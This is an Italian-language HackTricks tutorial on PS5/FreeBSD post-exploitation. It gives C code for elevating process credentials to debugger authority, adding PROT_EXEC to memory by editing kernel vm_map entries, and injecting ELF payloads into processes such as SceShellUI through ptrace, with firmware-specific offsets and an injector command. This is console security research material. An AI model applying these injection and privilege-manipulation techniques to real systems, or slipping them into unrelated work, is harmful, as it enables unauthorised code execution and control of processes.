FreeBSD ptrace RFI and vm_map PROT_EXEC bypass (PS5 case study)
Reading time: 8 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Panoramica
Questa pagina documenta una tecnica pratica di injection di processi usermode/ELF su PlayStation 5 (PS5), che si basa su FreeBSD. Il metodo si generalizza ai derivati di FreeBSD quando si dispone già di primitive di lettura/scrittura del kernel (R/W). A grandi linee:
- Patchare le credenziali del processo corrente (ucred) per concedere l'autorità di debugger, abilitando ptrace/mdbg su processi utente arbitrari.
- Trovare i processi target scorrendo la lista kernel allproc.
- Bypassare le restrizioni PROT_EXEC modificando vm_map_entry.protection |= PROT_EXEC nella vm_map del target tramite scritture sui dati del kernel.
- Usare ptrace per eseguire Remote Function Invocation (RFI): sospendere un thread, impostare i registri per chiamare funzioni arbitrarie all'interno del target, riprendere l'esecuzione, raccogliere i valori di ritorno e ripristinare lo stato.
- Mappare ed eseguire payload ELF arbitrari all'interno del target usando un ELF loader in-process, quindi spawnare un thread dedicato che esegue il payload e innesca un breakpoint per staccarsi pulitamente.
Mitigazioni dell'hypervisor PS5 da notare (contestualizzate per questa tecnica):
- XOM (execute-only .text) impedisce la lettura/scrittura della .text del kernel.
- Azzerare CR0.WP o disabilitare CR4.SMEP provoca un vmexit dell'hypervisor (crash). Solo le scritture su dati del kernel sono praticabili.
- Il mmap userland è limitato a PROT_READ|PROT_WRITE per default. Concedere PROT_EXEC deve essere fatto modificando le voci vm_map nella memoria del kernel.
Questa tecnica è post-exploitation: presume primitive R/W del kernel ottenute da una catena di exploit. Payload pubblici dimostrano questo fino al firmware 10.01 alla data di stesura.
Primitive di sola-manipolazione dei dati del kernel
Scoperta dei processi tramite allproc
FreeBSD mantiene una lista doppiamente collegata dei processi nella .data del kernel in allproc. Con una primitive di lettura del kernel, iterarla per individuare i nomi dei processi e i PID:
struct proc* find_proc_by_name(const char* proc_name){
uint64_t next = 0;
kernel_copyout(KERNEL_ADDRESS_ALLPROC, &next, sizeof(uint64_t)); // list head
struct proc* proc = malloc(sizeof(struct proc));
do{
kernel_copyout(next, (void*)proc, sizeof(struct proc)); // read entry
if (!strcmp(proc->p_comm, proc_name)) return proc;
kernel_copyout(next, &next, sizeof(uint64_t)); // advance next
} while (next);
free(proc);
return NULL;
}
void list_all_proc_and_pid(){
uint64_t next = 0;
kernel_copyout(KERNEL_ADDRESS_ALLPROC, &next, sizeof(uint64_t));
struct proc* proc = malloc(sizeof(struct proc));
do{
kernel_copyout(next, (void*)proc, sizeof(struct proc));
printf("%s - %d\n", proc->p_comm, proc->pid);
kernel_copyout(next, &next, sizeof(uint64_t));
} while (next);
free(proc);
}
Note:
- KERNEL_ADDRESS_ALLPROC è dipendente dal firmware.
- p_comm è un nome a lunghezza fissa; considera ricerche pid->proc se necessario.
Elevare le credenziali per il debug (ucred)
Su PS5, struct ucred include un campo Authority ID raggiungibile tramite proc->p_ucred. Scrivendo l'Authority ID del debugger si ottiene ptrace/mdbg sugli altri processi:
void set_ucred_to_debugger(){
struct proc* proc = get_proc_by_pid(getpid());
if (proc){
uintptr_t authid = 0; // read current (optional)
uintptr_t ptrace_authid = 0x4800000000010003ULL; // debugger Authority ID
kernel_copyout((uintptr_t)proc->p_ucred + 0x58, &authid, sizeof(uintptr_t));
kernel_copyin(&ptrace_authid, (uintptr_t)proc->p_ucred + 0x58, sizeof(uintptr_t));
free(proc);
}
}
- Offset 0x58 è specifico della famiglia di firmware PS5 e deve essere verificato per versione.
- Dopo questa write, l'injector può attach e instrumentare i processi user via ptrace/mdbg.
Bypassare le mappature utente RW-only: vm_map PROT_EXEC flip
Userland mmap può essere vincolata a PROT_READ|PROT_WRITE. FreeBSD traccia lo spazio di indirizzi di un processo in un vm_map composto da nodi vm_map_entry (BST plus list). Ogni entry contiene i campi protection e max_protection:
struct vm_map_entry {
struct vm_map_entry *prev,*next,*left,*right;
vm_offset_t start, end, avail_ssize;
vm_size_t adj_free, max_free;
union vm_map_object object; vm_ooffset_t offset; vm_eflags_t eflags;
vm_prot_t protection; vm_prot_t max_protection; vm_inherit_t inheritance;
int wired_count; vm_pindex_t lastr;
};
Con kernel R/W puoi localizzare il vm_map del target e impostare entry->protection |= PROT_EXEC (e, se necessario, entry->max_protection). Note pratiche di implementazione:
- Scorri le entry linearmente tramite next oppure usa l'albero bilanciato (left/right) per una ricerca O(log n) per intervallo di indirizzi.
- Scegli una regione RW nota che controlli (scratch buffer o mapped file) e aggiungi PROT_EXEC così puoi stageare codice o loader thunks.
- Il codice del PS5 SDK fornisce helper per il lookup rapido delle map-entry e per il toggle delle protection.
Questo bypassa la policy mmap dello userland modificando direttamente i metadata di proprietà del kernel.
Invocazione di funzione remota (RFI) con ptrace
FreeBSD non dispone di VirtualAllocEx/CreateRemoteThread in stile Windows. Invece, fai in modo che il target chiami funzioni su se stesso sotto controllo ptrace:
- Attacca il target e seleziona un thread; PTRACE_ATTACH o i flussi mdbg specifici PS5 possono applicarsi.
- Salva il contesto del thread: registri, PC, SP, flags.
- Scrivi i registri degli argomenti secondo l'ABI (x86_64 SysV o arm64 AAPCS64), imposta il PC sulla funzione target e, opzionalmente, posiziona argomenti/stack aggiuntivi se necessario.
- Esegui uno-step singolo o continua fino a uno stop controllato (es. breakpoint software o segnale), poi leggi i valori di ritorno dai registri (regs).
- Ripristina il contesto originale e continua.
Casi d'uso:
- Invocare un ELF loader in-process (es. elfldr_load) con un puntatore alla tua immagine ELF nella memoria del target.
- Invocare routine helper per recuperare gli entrypoint restituiti e i puntatori agli argomenti del payload.
Esempio di come invocare l'ELF loader:
intptr_t entry = elfldr_load(target_pid, (uint8_t*)elf_in_target);
intptr_t args = elfldr_payload_args(target_pid);
printf("[+] ELF entrypoint: %#02lx\n[+] Payload Args: %#02lx\n", entry, args);
Il loader mappa i segments, risolve gli imports, applica le relocations e restituisce l'entry (spesso un CRT bootstrap) più un puntatore payload_args opaco che il tuo stager passa al payload’s main().
Threaded stager e clean detach
Uno stager minimale all'interno del target crea un nuovo pthread che esegue il main dell'ELF e poi innesca int3 per segnalare all'injector di detach:
int __attribute__((section(".stager_shellcode$1"))) stager(SCEFunctions* functions){
pthread_t thread;
functions->pthread_create_ptr(&thread, 0,
(void*(*)(void*))functions->elf_main, functions->payload_args);
asm("int3");
return 0;
}
- I puntatori SCEFunctions/payload_args sono forniti dal loader/SDK glue.
- Dopo il breakpoint e il detach, il payload continua nel proprio thread.
Pipeline end-to-end (implementazione di riferimento PS5)
Un'implementazione funzionante è fornita come un piccolo TCP injector server più uno script client:
- Il server NineS ascolta su TCP 9033 e riceve un header contenente il nome del processo target seguito dall'immagine ELF:
typedef struct __injector_data_t{
char proc_name[MAX_PROC_NAME];
Elf64_Ehdr elf_header;
} injector_data_t;
- Utilizzo del client Python:
python3 ./send_injection_elf.py SceShellUI hello_world.elf <PS5_IP>
Esempio di payload Hello-world (registra su klog):
#include <stdio.h>
#include <unistd.h>
#include <ps5/klog.h>
int main(){
klog_printf("Hello from PID %d\n", getpid());
return 0;
}
Considerazioni pratiche
- Gli offset e le costanti (allproc, ucred authority offset, vm_map layout, ptrace/mdbg details) sono specifici del firmware e devono essere aggiornati per ogni release.
- Le protezioni dell'hypervisor impongono scritture kernel solo-dati; non tentare di patchare CR0.WP o CR4.SMEP.
- La memoria JIT è un'alternativa: alcuni processi espongono PS5 JIT APIs per allocare pagine eseguibili. Il flip della protezione vm_map rimuove la necessità di affidarsi a trucchi JIT/mirroring.
- Mantieni robusto il salvataggio/restauro dei registri; in caso di errore puoi causare un deadlock o crashare il target.
Strumenti pubblici
- PS5 SDK (dynamic linking, kernel R/W wrappers, vm_map helpers): https://github.com/ps5-payload-dev/sdk
- ELF loader: https://github.com/ps5-payload-dev/elfldr
- Injector server: https://github.com/buzzer-re/NineS/
- Utilities/vm_map helpers: https://github.com/buzzer-re/playstation_research_utils
- Related projects: https://github.com/OpenOrbis/mira-project, https://github.com/ps5-payload-dev/gdbsrv
Riferimenti
- Usermode ELF injection on the PlayStation 5
- ps5-payload-dev/sdk
- ps5-payload-dev/elfldr
- buzzer-re/NineS
- playstation_research_utils
- Mira
- gdbsrv
- FreeBSD klog reference
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.